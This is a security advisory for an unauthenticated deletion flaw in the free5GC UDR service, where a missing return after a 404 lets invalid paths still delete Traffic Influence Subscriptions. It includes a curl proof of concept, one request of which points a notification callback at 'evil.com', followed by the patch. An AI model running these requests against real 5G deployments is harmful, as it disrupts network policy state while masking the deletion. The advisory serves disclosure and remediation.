CVE-2026-40246

Summary

An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to delete Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected subs-to-notify path segment.

Details

The endpoint DELETE /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId} is intended to only operate on Traffic Influence Subscription resources when influenceId is exactly subs-to-notify.

In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:

1. The function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdDelete in ./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go checks whether influenceId != "subs-to-notify".
2. If the value is different, it calls c.String(http.StatusNotFound, "404 page not found"), but it does not return afterwards.
3. Execution continues and the handler still calls s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdDeleteProcedure(c, subscriptionId).
4. The processor deletes the subscription identified by subscriptionId even though the path is invalid and the request should have been rejected.

As a result, an attacker can send a request to an invalid path, receive an apparent 404 page not found response, and still successfully delete the target subscription.

The missing return after sending the 404 response in api_datarepository.go is the root cause of this vulnerability.

PoC

No authentication is required. Only a valid subscriptionId is needed.

# Create a subscription to obtain a valid subscriptionId
curl -v -X POST "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify" \
  -H "Content-Type: application/json" \
  -d '{
    "notificationUri":"http://evil.com/notify",
    "dnns":["internet"],
    "supis":["imsi-222777483957498"]
  }'

Example response:

HTTP/1.1 201 Created

Then delete it through an invalid path:

curl -v -X DELETE "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/87615e16"

Response:

HTTP/1.1 404 Not Found
404 page not found

Now verify that the subscription was actually deleted:

curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/87615e16"

Response:

{"title":"User not found","status":404,"cause":"USER_NOT_FOUND"}

Impact

This is an unauthenticated unauthorized delete vulnerability. Any attacker with network access to the SBI can delete Traffic Influence Subscriptions by knowing or guessing a valid subscriptionId.

This can disrupt policy-related notification workflows and remove active subscription state from the UDR. In addition, the attack is harder to detect because the API returns a misleading 404 Not Found response even when the deletion is actually performed.

Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).

Patch

The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdDelete:

if influenceId != "subs-to-notify" {
    c.String(http.StatusNotFound, "404 page not found")
    return
}

With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not delete the targeted subscription.